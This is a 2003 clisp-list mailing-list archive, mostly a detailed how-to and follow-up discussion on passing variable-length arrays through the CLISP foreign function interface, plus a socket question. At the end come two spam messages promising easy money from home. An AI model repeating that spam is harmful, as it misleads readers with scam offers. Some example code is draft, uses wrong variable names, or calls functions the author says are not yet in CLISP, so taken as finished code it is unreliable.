(def-lib-call-out zlib-compress [eventually library] (:name "compress") (:arguments (dest (ffi:c-ptr (ffi:c-array ffi:uint8 is_len(destlen))) :out :guard (zerop return)) (destlen ffi:ulong :in-out) (source (ffi:c-ptr (ffi:c-array ffi:uint8 is_len(sourcelen)))= ) (sourcelen ffi:ulong)) (:return-type ffi:int)) Well, the CLISP FFI does not support this kind of declaration. We need to do it by hand. We will need a Lisp wrapper around the foreign function. I'll distinguish input from output (or :in-out) cases and start with :in parameter declarations. Part 1: input parameters (:IN) source is a typical :in parameter. It's a variable length array, and its length is passed as an extra argument. If, in our application, we're going to compress strings only, then the above declaration could be changed to (c-ptr (c-array character is_len(sourcelen))) -- at least in what I dream of. But in such cases, I'd rather just use C-STRING. The difference is a terminating NUL (0) character that the FFI will supply automatically. The callee (zlib) will not even see it, since it is not allowed to read more than sourcelen characters. The equivalent declaration for bytes instead of a string is: (C-ARRAY-PTR UINT8) (def-lib-call-out zlib-compress [eventually library] (:name "compress") (:arguments (dest ... :out #|:guard (zerop return)|#) (destlen ulong :in-out) (source (c-array-ptr uint8)) (sourcelen ulong)) (:return-type ffi:int)) (defun my-compress (sourcebytes) "Accepts an array of bytes and returns a vector of its compressed content= s." (let ((sourcelen (length sourcebytes))) (multiple-value-bind (status actual) (zlib-compress bytes sourcelen) ...))) Several people have inquired whether CLISP would stop at a 0 byte occurring within sourcebytes. The answer is no. From the Lisp point of view, a whole array is passed trough the interface. Contents don't matter, therefore the length is not limited by an eventual (POSITION 0 sourcebytes). Summary: Do waste a terminating 0 byte (or int, or NULL pointer) by using C-STRING or (C-ARRAY-PTR x) when applicable. This has much less overhead and easier to read than the variable length support that we cannot circumvent for output parameters. However, C-STRING or C-ARRAY-PTR are not useable in call cases. We then have to use a technique as developed below for the :OUT (or :in-out) case. Part 2: output parameters (:OUT or :IN-OUT) compress' dest is a typical output parameter. One solution path would be to construct a FFI definition at run-time, when we know the actual source and dest buffer length. We would need to weight the time needed to build, parse and compile such a definition vs. the gain from being able to use an exact array type declaration comprising the size. (defun my-compress (source) (let* ((sourcelen (length source)) (destlen (+ 12 (ceiling (* sourcelen 1.05))))) (funcall (foreign-address-function=09=09; not yet in CLISP #'zlib-compress `(c-function ... (dest (C-ARRAY CHARACTER ,destlen) :out) (destlen (C-PTR ulong) :in-out) (source (C-ARRAY CHARACTER ,sourcelen)) (sourcelen ulong))) destlen source sourcelen))) This is one way to go, which in the case of compress is not enough, because only part of the dest buffer is filled in, as returned in on output. We could use SUBSEQ on the result of the call to zlib-compress, but that would be some waste of storage. Instead, let us allocate the destination buffer on the stack, using FFI:WITH-FOREIGN-OBJECT. This is faster and makes more sense than using malloc() (via FFI:SIMPLE-CALLOC or FFI:DEEP-MALLOC) and UNWIND-PROTECT. We must then pass a C-POINTER (a FOREIGN-ADDRESS object) to this buffer to the foreign function. (def-lib-call-out zlib-compress [eventually library] (:name "compress") (:arguments (dest C-POINTER :IN #|:guard (zerop return)|#) (destlen ulong :in-out) (source (c-array-ptr uint8)) (sourcelen ulong)) (:return-type ffi:int)) Note how the former :OUT declaration for dest now turns into an :IN declaration. That's why C doesn't know about :in or :out, as opposed to other languages. All it sees is pointers. (defun my-compress (sourcebytes) "Accepts an array of bytes and returns a vector of its compressed content= s." (let* ((sourcelen (length source)) (destlen (+ 12 (ceiling (* sourcelen 1.05))))) (WITH-FOREIGN-OBJECT (dest 'uint8 :count destlen) (multiple-value-bind (status actual) (zlib-compress (FOREIGN-ADDRESS dest) destlen sourcebytes sourcel= en) (if (zerop status) ...))))) Actually, I haven't yet implemented the :COUNT extension to WITH-FOREIGN-OBJECT (so far it's only available with SIMPLE-CALLOC and DEEP-MALLOC). Let's use an equivalent (but less efficient) form instead: (WITH-FOREIGN-OBJECT (dest `(c-array uint8 ,destlen)) Note how I passed (FOREIGN-ADDRESS dest) instead of `dest' to the foreign function. The reason is that WITH-FOREIGN-OBJECT creates an object of type FOREIGN-VARIABLE, which one can understand as encapsulating a FOREIGN-ADDRESS object together with a foreign type. I'm thinking about submitting a patch to src/foreign.d which would made this call superfluous: a C-POINTER declaration would be satisfied by either untyped FOREIGN-ADDRESS (as by now) or typed FOREIGN-VARIABLE objects. What did we achieve so far? We managed to pass to the foreign function a buffer exactly as large as needed, along with its size. The foreign function will fill part of it, and we need to extract the results. The dest buffer is only filled when the function was successful: (if (zerop status) (subseq (FOREIGN-VALUE dest) 0 actual) (error ...)) The code above dereferences the whole buffer, then takes out the part that was actually filled in, allocating and copying another sequence. We shall do without it. The CLISP FFI contains macros to operate on what is called foreign places. In the future, it will export their lower-level functional counterparts which operate on FOREIGN-VARIABLE objects, as obtained by e.g. with-foreign-object. These functions shall have a trailing * in their name, e.g. ELEMENT* instead of ELEMENT, etc. (It's undecided whether I should rename FOREIGN-VALUE to FOREIGN-VALUE* for coherence, or only rename in case of name duplication -- please tell me). Remember the foreign type of dest: (C-ARRAY UINT8 ) What we want is a shorter array. Let's use CAST*, like any C programmer. (foreign-value (CAST* dest `(C-ARRAY UINT8 ,actual))) ; broken Using CAST* here does not work, though, because CLISP insists on keeping the size of the foreign structure constant when casting. So we are going to use OFFSET* instead, which lets us conceptually overlay an address or memory range with another structure. (if (zerop status) (foreign-value (FFI:OFFSET* dest 0 `(C-ARRAY UINT8 ,actual))) to be compared with the original form: (subseq (FOREIGN-VALUE dest) 0 actual) Joining all steps, the complete example becomes: (defun my-compress (sourcebytes) "Accepts an array of bytes and returns a vector of its compressed content= s." (let* ((sourcelen (length source)) (destlen (+ 12 (ceiling (* sourcelen 1.05))))) (WITH-FOREIGN-OBJECT (dest 'uint8 :count destlen) (multiple-value-bind (status actual) (zlib-compress (FOREIGN-ADDRESS dest) destlen sourcebytes sourcel= en) =09(if (zerop status) =09 (FOREIGN-VALUE (OFFSET* dest 0 `(C-ARRAY UINT8 ,actual))) =09 (error "zlib::compress error code ~D" status)))))) However, as of CLISP-2.30, these names with the trailing star are not yet exported from the package FFI. They're named FFI::%CAST instead, which is not engaging. Instead of using these, I'll show how to write equivalent code using what CLISP calls foreign places. A foreign place is a concept similar to that of a generalized variable. Instead of using with-foreign-object, we shall write WITH-C-VAR. The code looks almost the same. (WITH-C-VAR (dest `(c-array uint8 ,destlen)) (multiple-value-bind (status destbytes actual) =09(zlib-compress (C-VAR-ADDRESS dest) destlen sourcebytes sourcelen) (if (zerop status) =09(subseq dest 0 actual) =09(error "zlib::compress error code ~D" status)))) `Dest' now denotes a foreign place. From a technical point of this means no more than there is a SYMBOL-MACROLET which wraps its uses into a FOREIGN-VALUE form. Therefore, evaluating (reading) `dest' dereferences the foreign memory's contents. Setting it (using SETQ or SETF) writes to foreign memory. The address of this foreign places can be obtained with C-VAR-ADDRESS -- FOREIGN-ADDRESS would not work. So one saves typing FOREIGN-VALUE. What else is there about it? On the positive side, it combines nicely with Lisp. Foreign structures can be used smoothly. And it works with old CLISPs (OFFSET has been there since day one of the CLISP FFI). Please compare the resulting code with the above. (defun my-compress (sourcebytes) "Accepts an array of bytes and returns a vector of its compressed content= s." (let* ((sourcelen (length source)) (destlen (+ 12 (ceiling (* sourcelen 1.05))))) (WITH-C-VAR (dest 'uint8 :count destlen) (multiple-value-bind (status actual) (zlib-compress (C-VAR-ADDRESS dest) destlen sourcebytes sourcelen= ) =09(if (zerop status) =09 (OFFSET dest 0 `(c-array uint8 ,actual)) =09 (error "zlib::compress error code ~D" status)))))) On the negative side, I find the automated dereferencing dangerous, since the programmer must be careful about each of its appearances: usually only within other FFI forms like SLOT, ELEMENT, CAST, OFFSET. In particular, it should not be passed to another function: this passes the dereferenced value, not a reference to foreign memory! As an example, consider returning from a function the buffer and its size: (values dest (length dest))=09;BROKEN This code reads the foreign buffer twice and builds two Lisp vectors out of it!. One should have used instead: (values dest (SIZEOF dest)) or (let ((dest dest)) (values dest (length dest))) Let ((dest dest)) is a little bit obfuscated: the Lisp variable could (or should) have been renamed instead, giving: (let ((dest-as-Lisp-vector dest)) (values dest-as-Lisp-vector (length dest-as-Lisp-vector))) Furthermore, using FOREIGN-VARIABLE objects instead of foreign places feels closer to programming with references or proxies (or objects?) as when using Java, Python or C++ etc. Last but not least: an object of type FOREIGN-VARIABLE can be stored anywhere and passed to a function, like every other object. Foreign places cannot. It's natural for the functions SIMPLE-CALLOC and DEEP-MALLOC to return such objects. I've been considering adding a WITH-FOREIGN-PLACE macro: it would define a foreign place out of a foreign-variable (or foreign address) object. This would be useful in those portions of code which access slots of the foreign structure. (WITH-FOREIGN-PLACE (place (gethash key table (DEEP-MALLOC ...))) (element place 0)) WITH-C-VAR now appears as a combination of it and of WITH-FOREIGN-OBJECT: (with-foreign-object (-var- type [initform]) (WITH-FOREIGN-PLACE (place -var-) ...body)) (defmacro WITH-FOREIGN-PLACE ((place foreign-variable) &body body) (let ((fv (gensym (symbol-name place)))) `(let ((,fv ,foreign-variable)) (symbol-macrolet ((,place (FOREIGN-VALUE ,fv))) ,@body)))) =09 Lifting the 1:1 encoding restriction on strings Western people tend to forget about it, but custom:*DEFAULT-FOREIGN-ENCODING* comes into play every time C-STRING or CHARACTER declarations are involved. How to deal with e.g. UTF-8, UTF-16, Japaneese or Corean encodings? One trivial - yet successful - solution path would be to use a composition of known elements: (defun compress-string-to-bytes (string encoding &key (start 0) (end nil)) (my-compress (ext:convert-string-to-bytes string encoding :start start :end end))) We shall investigate another solution. It involves WITH-FOREIGN-STRING. This form is specialized in allocating strings on the execution stack and accepts encoding, start and end arguments. WITH-FOREIGN-STRING yields a FOREIGN-ADDRESS object (not a foreign variable as with-foreign-object) that we shall pass as the source to the foreign function. We thus need another FFI declaration: (def-lib-call-out zlib-compress [eventually library] (:name "compress") (:arguments (dest C-POINTER :in #|:guard (zerop return)|#) (destlen ulong :in-out) (source C-POINTER) (sourcelen ulong)) (:return-type ffi:int) (:language :stdc)) The WITH-FOREIGN-STRING macro takes a program body and binds three variables to a FOREIGN-ADDRESS object pointing to the converted string, its original length in elements (modulo the NULL-TERMINATED-P key) and its length in bytes. I designed it not to use a FOREIGN-VARIABLE object because: 1. most uses would be to pass its address to a foreign function anyway, 2. more importantly, its unclear what the proper foreign type should be. One may think that for fixed-with encodings like e.g. UTF-16, it should result in (C-ARRAY UINT16 ) but that would imply that the programmer might not be in control of the type since the actual encoding may be defined by the user. Therefore, only (C-ARRAY UINT8 ) seems to make sense. But wouldn't (C-ARRAY-MAX UINT8 ) not be more appropriate? So I decided to stick with an untyped address. Should you have a need to access individual characters, then you can "cast" it to a foreign variable object of the type that you need using FOREIGN-ADDRESS-VARIABLE (not yet in CLISP). (FOREIGN-ADDRESS-VARIABLE dest `(c-array uint8 ,sourcelen)) I'm thinking about using the already existing CAST macro or CAST* function for this purpose. Then you can use typical accessors on it: (ELEMENT* (foreign-address-variable dest `(c-array uint 8 ,sourcelen)) 0) would extract the first byte (if length allows). Nevertheless, the code below invokes FOREIGN-ADDRESS on dest, just so to feel safe should I eve change my mind. Given a FOREIGN-ADDRESS object, it's in effect an identity function. (defun compress-string-to-bytes (string encoding &key (start 0) (end nil)) "Return a vector of compressed bytes from STRING, according to ENCODING" (WITH-FOREIGN-STRING (source element-count sourcelen =09=09=09string =09=09=09:null-terminated-p nil =09=09=09:encoding encoding =09=09=09:start start :end end) (declare (ignore element-count)) (let ((destlen (+ 12 (ceiling (* sourcelen 1.05))))) (with-c-var (dest 'uint8 :count destlen) (multiple-value-bind (status actual) (zlib-compress (c-var-address dest) destlen =09=09=09 (FOREIGN-ADDRESS source) sourcelen) =09 (if (zerop status) =09 (offset dest 0 `(c-array uint8 ,actual)) =09 (error "zlib::compress error code ~D" status))))))) =09 Efficiency considerations I did not perform actual measurements, yet with the current API, it is quite probable that using SUBSEQ is faster than using CAST or OFFSET etc. The reason is that in the latter case, a lot is happening at run-time in CLISP: 1. create a (c-array uint8 list using backquote 2. transform it into the internal type representation 3. construct a FOREIGN-VARIABLE with this type 4. dereference memory using FOREIGN-VALUE It therefore becomes questionable whether the advantage of dereferencing only bytes instead of the whole number of bytes and not creating an extra vector is worth our effort! It appears that what stands in our way towards performance is the extra level of abstraction introduced by the CLISP FFI. What we see is some kind of interpretation overhead. I'm not speaking about a byte-code interpreter, but about an interpreter specialized on manipulating foreign variable descriptions and interpreting forms like OFFSET, ELEMENT, SLOT etc. With a Lisp-to-native code compiler like CMUCL, clever compiler optimizations and a good FFI API, this run-time overhead could be avoided. W.r.t. to the API, a small problem here is the use of backquote, which means that the compiler would have to figure out that the backquoted list only serves to build an external type description for a variable length array. It should be easier to express and understand this, for both the programmer and the compiler: that's why I introduced the :count keyword to the memory allocating functions. It's easier to optimize (DEEP-MALLOC 'uint8 :count (foo x)) than (DEEP-MALLOC `(c-array uint8 ,(foo x))) By contrast, the Amiga-CLISP AFFI has no such interpretation level. The API that it provides is the equivalent of machine level: the work that in all cases must be done is memory transfer, the rest is overhead. Therefore, the AFFI only contains 4 functions. A lot can be implemented on top of these. There is one function for foreign function call and three for memory transfer: MEM-READ, MEM-WRITE and MEM-WRITE-VECTOR. Using AFFI, we would have written: (let ((result (MAKE-ARRAY actual :element-type '(unsigned-byte 8)))) (MEM-READ (foreign-address dest) result)) It would have been really fast, with the least possible overhead, but the programmer would have to write the code in an imperative style, which to the compiler theory purist (like me) appears like applying partial evaluation or compiler optimization techniques by hand, which s/he considers a shame. Yet working with the AFFI does not let one feel stranger than working with C, or with any of the other Lisp's FFIs. It's working with a lot of low-level stuff like buffer allocation, correct buffer size etc. which declarative style (like CLISP's DEF-CALL-OUT) tends to avoid. Yet when DEF-CALL-OUT is not enough and a wrapper is needed, using CLISP's DEREF, WITH-FOREIGN-OBJECT etc. does not feel like programming at a highler level than using other FFIs. Compared to these, the overhead of all the intermediate FOREIGN-VARIABLE objects and steps is too high IMHO. IMHO, an API which produces code which will be order of magnitudes slower than its C counterpart will rightly be the target of criticisms. =09=09Declarative style wins Remember what I said I dream of? (def-lib-call-out zlib-compress [eventually library] (:name "compress") (:arguments (dest (ffi:c-ptr (ffi:c-array ffi:uint8 is_len(destlen))) :out :guard (zerop return)) (destlen ffi:ulong :in-out) (source (ffi:c-ptr (ffi:c-array ffi:uint8 is_len(sourcelen)))= ) (sourcelen ffi:ulong)) (:return-type ffi:int)) Isn't that much simpler than all this cumbersome and error-prone low-level handling with buffers, memory, arrays, their sizes, etc.? CLISP's declarative DEF-CALL-OUT already manages to provide a FFI definition for many many foreign functions. I believe something like the above is likely to provide 80% of the remaining needs. Feel free to investigate defining such a form. If you do, consider making it powerful enough to handle Postgres' string quoting function: http://cert.uni-stuttgart.de/doc/postgresql/escape/ size_t PQescapeString (char *to, const char *from, size_t length); "The from points to the first character of the string which is to be escaped, and the length parameter counts the number of characters in this string (a terminating NUL character is neither necessary nor counted). to shall point to a buffer which is able to hold at least one more character than twice the value of length, otherwise the behavior is undefined. A call to PQescapeString writes an escaped version of the from string to the to buffer, replacing special characters so that they cannot cause any harm, and adding a terminating NUL character. PQescapeString returns the number of characters written to to, not including the terminating NUL character. Behavior is undefined when the to and from strings overlap." One may argue that its parameter usage is badly designed, if not braindead. The difficulty I see here in finding a way to declaratively express the required interface is that the size of the to buffer and the number of useful bytes come from to different places (1+ (* length 2)) vs. the return value, as opposed to compress' destlen :in-out parameter. Writing wrappers by hand on a case by case basis maybe error-prone, but it is straightforward. It doesn't require much brain. =09=09Summary o By all means, use C-STRING or (C-ARRAY-PTR type) whereever possible. o Foreign places provide a somewhat elegant, at least compact, however inefficient way of working on foreign structures. o The required DEF-CALL-OUT parameter declarations depend on the wrapper. There's no "one declaration for all uses" as in C. o A worthwhile approach instead of writing ad hoc code which every time loooks similar (with-foreign-object etc.) would be to provide a DEF-VARLEN-CALL-OUT macro which would encapsulate all this with-foreign-object, foreign-value, subseq etc. code. (def-lib-call-out zlib-compress [eventually library] (:name "compress") (:arguments (dest C-POINTER :in #|:guard (zerop return)|#) (destlen ulong :in-out) (source (c-array-ptr uint8)) (sourcelen ulong)) (:return-type ffi:int) (:language :stdc)) (defun my-compress (sourcebytes) "Accepts an array of bytes and returns a vector of its compressed content= s." (let* ((sourcelen (length source)) (destlen (+ 12 (ceiling (* sourcelen 1.05))))) (WITH-C-VAR (dest uint8 :count destlen)) (multiple-value-bind (status actual) (zlib-compress (C-VAR-ADDRESS dest) destlen sourcebytes sourcelen= ) =09(if (zerop status) =09 (OFFSET dest 0 `(C-ARRAY UINT8 ,actual)) =09 (error "zlib::compress error code ~D" status)))))) Things not (yet) in CLISP: o DEF-CALL-VAR-OUT macro for variable length arrays o :count extension to WITH-FOREIGN-OBJECT and WITH-C-VAR o rename OFFSET* SLOT* ELEMENT* etc. instead of %OFFSET %SLOT o exporting FOREIGN-VALUE and OFFSET* etc. from FFI o export and document FFI:PARSE-C-TYPE and its converse o FOREIGN-ADDRESS-FUNCTION (so far only part of my dynload patch) o dynamic library call out (dynload patch to be completed) o FOREIGN-ADDRESS-VARIABLE (if not reusing CAST) o possibly make CALL-OUT code accept FOREIGN-VARIABLE objects where type C-POINTER is expected (so far only FOREIGN-ADDRESS) o WITH-FOREIGN-PLACE macro o compile-time or load-time inlining of constant PARSE-C-TYPE use as in (deep-malloc 'uint8 :size (foo x)) or with-foreign-object ... o ... I appreciate comments, =09J=F6rg H=F6hle. From lisp-clisp-list@m.gmane.org Wed Mar 05 13:24:23 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18qgNB-0000Dp-00 for ; Wed, 05 Mar 2003 13:24:21 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18qgMd-0002lL-00 for ; Wed, 05 Mar 2003 22:23:47 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18qgMd-0002lA-00 for ; Wed, 05 Mar 2003 22:23:47 +0100 From: Sam Steingold Organization: disorganization Lines: 25 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE0287A252@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: FFI howto: variable length arrays (long) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 5 13:25:15 2003 X-Original-Date: 05 Mar 2003 16:24:25 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE0287A252@G8PQD.blf01.telekom.de> > * On the subject of "FFI howto: variable length arrays (long)" > * Sent on Wed, 5 Mar 2003 16:04:26 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > The CLISP FFI contains macros to operate on what is called foreign > places. In the future, it will export their lower-level functional > counterparts which operate on FOREIGN-VARIABLE objects, as obtained by > e.g. with-foreign-object. These functions shall have a trailing * in > their name, e.g. ELEMENT* instead of ELEMENT, etc. (It's undecided > whether I should rename FOREIGN-VALUE to FOREIGN-VALUE* for coherence, > or only rename in case of name duplication -- please tell me). yuk. CLISP has %ELEMENT. Why not use ELEMENT for the exported interface if it is to be different from %ELEMENT (or just rename %ELEMENT to ELEMENT and export it if they are the same)? ELEMENT* looks too much like MEMBER* in Emacs-Lisp. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Nostalgia isn't what it used to be. From Joerg-Cyril.Hoehle@t-systems.com Thu Mar 06 01:05:06 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18qrJI-0007q0-00 for ; Thu, 06 Mar 2003 01:05:04 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 6 Mar 2003 10:04:43 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 6 Mar 2003 10:04:39 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0287A3B1@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: FFI howto: variable length arrays (long) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 6 01:06:02 2003 X-Original-Date: Thu, 6 Mar 2003 10:04:35 +0100 Sam Steingold wrote: >yuk. CLISP has %ELEMENT. Why not use ELEMENT for the exported >interface if it is to be different from %ELEMENT (or just rename >%ELEMENT to ELEMENT and export it if they are the same)? >ELEMENT* looks too much like MEMBER* in Emacs-Lisp. They are not the same. Element has been a macro providing compile-time error checking since day 1 of the FFI. I don't want to change that. ELEMENT place indices* -> value What I want to introduce is a function operating on a foreign-variable object. ELEMENT* fv indices* -> value I choose a trailing star to indicate proximity to the macro. My Emacs-20.7 does not have member*. A trailing or preceding % has a long Lisp history of "system-internal - don't dare to touch" which is not suitable for an exported interface. BTW, one does not see much of a difference with ELEMENT. Let's talk about CAST instead. CAST additionaly takes a foreign type description. I realized yesterday that I forgot talking about another advantage of ELEMENT/CAST etc.: so far they successfully managed (for better or worse) to hide the internal foreign type representation from the programmer. I want to define a lower-level interface where this becomes visible. CAST place foreign-type -> place ; well-known, no change (CAST dest `(c-array uint8 ,actual)) CAST* foreign-variable internal-type -> foreign-variable (CAST* dest-fv (PARSE-C-TYPE `(c-array uint8 ,actual))) I actually don't want (CAST* dest-fv `(c-array uint8 ,actual)) because 1. that would mean there's still another level below (the current %CAST) which would operate on the internal type instead of high-level type descriptions; (defun CAST* (fv type) (%CAST fv (PARSE-C-TYPE type))) ; no! 2. programmers would be able to handle type descriptions like objects, store them, pass them around etc.; 3. and still have guarantees that the amount of run-time parsing is minimised. The same thought applies to FOREIGN-ADDRESS-VARIABLE/FUNCTION and all functions which accept type descriptions. Another approach, maybe to be called "status quo", would be - do not define nor export CAST* etc. + instead, use WITH-FOREIGN-PLACE and its converse C-VAR-OBJECT and have the programmer always operate on places. - concerns about danger of automatic dereferencing still apply. (defun foo (n) (simple-calloc 'uint8 :count n :read-only t)) (setq x (foo 300)) (some-foreign-function x) (defun checksum (fv-object) ; extremely inefficient in CLISP (with-foreign-place (buffer fv-object) (values (loop for i from 0 below (SIZEOF buffer) ;; only works on byte buffers where sizeof = length ;; maybe should use (third (TYPEOF buffer)) sum (ELEMENT buffer i)) (C-VAR-OBJECT (offset memory 0 `(c-array-max character 32)))))) (checksum x) -> 5234 ; # Let's not forget: my article did not mention that operating on foreign places is in CLISP an extremely expensive operation. The above checksum functions runs *several* orders of a magnitude slower than its native code counterpart which one could code using CMUCL, CormanLisp, xyz-Lisp or C. 1. byte-code overhead, not to be avoided in CLISP 2. ELEMENT overhead: for every index position, a new foreign-variable object is created, then thrown away... But with-foreign-place does not help for FOREIGN-ADDRESS-FUNCTION etc., only for ELEMENT, SLOT, CAST, OFFSET. Regards, Jorg Hohle. From jamison@redwood.snu.ac.kr Thu Mar 06 01:38:06 2003 Received: from redwood.snu.ac.kr ([147.46.116.107]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18qroe-00009T-00 for ; Thu, 06 Mar 2003 01:37:29 -0800 Received: from localhost (jamison@localhost) by redwood.snu.ac.kr (8.9.3/8.9.3) with ESMTP id SAA07816 for ; Thu, 6 Mar 2003 18:14:21 +0900 (KST) From: Jamison Masse To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-559023410-851401618-1046942061=:7557" Subject: [clisp-list] socket-wait problem on WinXP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 6 01:39:01 2003 X-Original-Date: Thu, 6 Mar 2003 18:14:21 +0900 (KST) This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---559023410-851401618-1046942061=:7557 Content-Type: TEXT/PLAIN; charset=US-ASCII The attached code is a test case intended to isolate this problem I have been having with connecting multiple clients to a server. I want to occasionally poll the socket to see if there are any clients waiting for a connection. Under linux this code loops until a connection is made by a client, as expected, but under WinXP the loop never terminates, the client connects and is holding a connection to the server but the server code doesn't acknowledge the connection. Is this a bug? The WinXP machine is running Clisp 2.30 and WinXP SP-1 Thanks, Jamison Masse ---559023410-851401618-1046942061=:7557 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="wait-test.lisp" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="wait-test.lisp" DQ0KKGRlZnVuIHNlcnZlci1hY2NlcHQtY2xpZW50KCkNDQogIChsZXQqICgN DQogICAgICAgIChjb25uIChpZiAoU09DS0VUOlNPQ0tFVC1XQUlUIHNlcnZl ci1zb2NrZXQgMCkgKFNPQ0tFVDpTT0NLRVQtQUNDRVBUIHNlcnZlci1zb2Nr ZXQgOkVYVEVSTkFMLUZPUk1BVCA6VU5JWCApIG5pbCkpKQ0NCgljb25uDQ0K ICApDQ0KKQ0NCg0NCihkZWZ1biBjbGllbnQtY29ubmVjdCAoKQ0NCiAgKGxl dCogKChzZXJ2ZXItYWRkcmVzcyAibG9jYWxob3N0IikNDQogICAgICAgICAo c29ja2V0IChzb2NrZXQ6c29ja2V0LWNvbm5lY3QgNjc2NyBzZXJ2ZXItYWRk cmVzcyA6RVhURVJOQUwtRk9STUFUIDpVTklYKSkpDQ0KICAgICh3cml0ZS1s aW5lICJUZXN0IiBzb2NrZXQpDQ0KICApDQ0KKQ0NCg0NCihkZWZ1biBydW4t c2VydmVyICgpDQ0KICAoc2V0cSBzZXJ2ZXItc29ja2V0IChTT0NLRVQ6U09D S0VULVNFUlZFUiA2NzY3ICkpDQ0KICAobGV0ICgoYyBuaWwpKQ0NCiAgICAo bG9vcA0NCiAgICAgIChzZXRxIGMgKHNlcnZlci1hY2NlcHQtY2xpZW50KSkN DQogICAgICAocHJpbnQgYykNDQogICAgICAoc2xlZXAgMSkNDQogICAgICAo d2hlbiAobm90IChlcSBuaWwgYykpIChyZXR1cm4pKQ0NCiAgICApDQ0KICAg IChwcmludCAocmVhZC1saW5lIGMpKQ0NCiAgKQ0NCikNDQogDQ0K ---559023410-851401618-1046942061=:7557-- From victor02@aol.com Thu Mar 06 04:32:20 2003 Received: from 200-204-127-119.dglnet.com.br ([200.204.127.119] helo=200.72.130.66) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18quXl-0003IV-00 for ; Thu, 06 Mar 2003 04:32:18 -0800 From: Rob To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-Priority: 1 Message-Id: Subject: [clisp-list] No upfront money needed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 6 04:33:09 2003 X-Original-Date: Thu, 6 Mar 2003 07:33:28 -0500

 Hi, Do you want me to show you how you can earn
$1,000 to $5,000 a month
working from home Part Time?

 

NEXT

I

This e-mail is sent in compliance with our strict anti-abuse regulations. You have received this e-mail because you or someone using your computer has used an FFA List, Safe List or requested other information. If you do not wish to receive any mail from our servers you may permanently block your e-mail address by clicking on the following link. (Please be advised by blocking your e-mail you will not have access to over 900 domains and the thousands of users and services they represent)

.Thank you,
The Postmaster

Unsubscribe

From gurudude27@yahoo.com Fri Mar 07 00:35:40 2003 Received: from 12-213-170-164.client.attbi.com ([12.213.170.164] helo=192.168.0.7) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18rDKO-0002xV-00 for ; Fri, 07 Mar 2003 00:35:40 -0800 Message-ID: From: "gurudude27@yahoo.com" To: "clisp-list" MIME-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Subject: [clisp-list] MONEY IN YOUR POCKET! $$$$ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 7 00:36:06 2003 X-Original-Date: Fri, 7 Mar 2003 02:35:38 -0600 DO NOT DELETE THIS

DO NOT DELETE THIS - READ FIRST - IT WILL CHANGE YOUR LIFE!

This Really Works!

Give Your Future A Few Minutes And Read This Email

It Will Change Your Life!

